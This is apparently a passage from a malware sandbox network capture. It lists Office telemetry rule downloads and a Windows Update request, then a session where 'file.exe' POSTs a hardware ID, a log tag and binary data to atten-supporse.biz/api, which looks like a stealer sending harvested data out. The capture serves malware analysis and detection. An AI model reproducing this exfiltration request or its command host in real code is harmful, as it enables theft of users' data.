2024-12-03 16:41:15 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:15 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:15 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: e8c785f0-901e-0048-4ed4-43b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164115Z-174f7845968j6t2phC1EWRcfe800000016bg00000000ctf6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:15 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.7	49710	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:15 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:15 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:15 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: f5d49257-301e-005d-758c-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164115Z-174f7845968pf68xhC1EWRr4h800000016fg000000008rx0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:15 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.7	49713	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:15 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:15 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:15 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 3360fb1d-601e-0097-3291-3ff33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164115Z-174f7845968kdththC1EWRzvxn0000000ke000000000vzhu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:15 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.7	49712	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:15 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:15 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:15 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: f20189e0-201e-005d-0f7c-43afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164115Z-174f7845968qj8jrhC1EWRh41s000000162000000000swg3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:15 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.7	49718	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:17 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:17 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:17 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 25c4f972-a01e-0021-6cb8-42814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164117Z-174f78459688l8rvhC1EWRtzr00000000kt000000000f3nr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:17 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.7	49717	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:17 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:17 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:17 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 54795c3a-901e-0064-35fd-44e8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164117Z-174f78459688l8rvhC1EWRtzr00000000kt000000000f3nq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:17 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.7	49719	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:17 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:17 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:17 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: e10b9e7c-f01e-0096-7ef3-4410ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164117Z-174f7845968jrjrxhC1EWRmmrs00000016e0000000001m1x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:17 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.7	49720	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:17 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:17 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: ff98645e-b01e-0001-1091-3f46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164117Z-174f7845968kdththC1EWRzvxn0000000keg00000000tf89 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:18 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.7	49716	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:17 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:17 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 12c713eb-c01e-0034-6a92-432af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164117Z-174f7845968px8v7hC1EWR08ng00000016a000000000yar5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:18 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	49714	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:18 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=bCm59y551UyMzEE&MD=Fnc894VX HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-03 16:41:18 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 82ec0174-55ad-4a77-9b8b-ee8850ccc914 MS-RequestId: 9854ea3c-b02d-40b7-ba0f-3a30442b4372 MS-CV: lRSIVMpLhEi7C8aF.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 03 Dec 2024 16:41:17 GMT Connection: close Content-Length: 24490
2024-12-03 16:41:18 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-12-03 16:41:18 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	49722	104.21.16.9	443	7292	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:18 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=U66EY3B8IKJ98SHGG User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20401 Host: atten-supporse.biz
2024-12-03 16:41:18 UTC	15331	OUT	Data Raw: 2d 2d 55 36 36 45 59 33 42 38 49 4b 4a 39 38 53 48 47 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 38 30 38 46 45 37 32 35 33 35 38 37 34 38 35 38 44 36 44 41 32 34 31 34 33 34 46 44 30 38 0d 0a 2d 2d 55 36 36 45 59 33 42 38 49 4b 4a 39 38 53 48 47 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 55 36 36 45 59 33 42 38 49 4b 4a 39 38 53 48 47 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --U66EY3B8IKJ98SHGGContent-Disposition: form-data; name="hwid"49808FE72535874858D6DA241434FD08--U66EY3B8IKJ98SHGGContent-Disposition: form-data; name="pid"3--U66EY3B8IKJ98SHGGContent-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-12-03 16:41:18 UTC	5070	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 b6 b9 fe 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d ae 2f f8 f5 Data Ascii: (X6K~`iO\_,mi`m?ls}Qm/
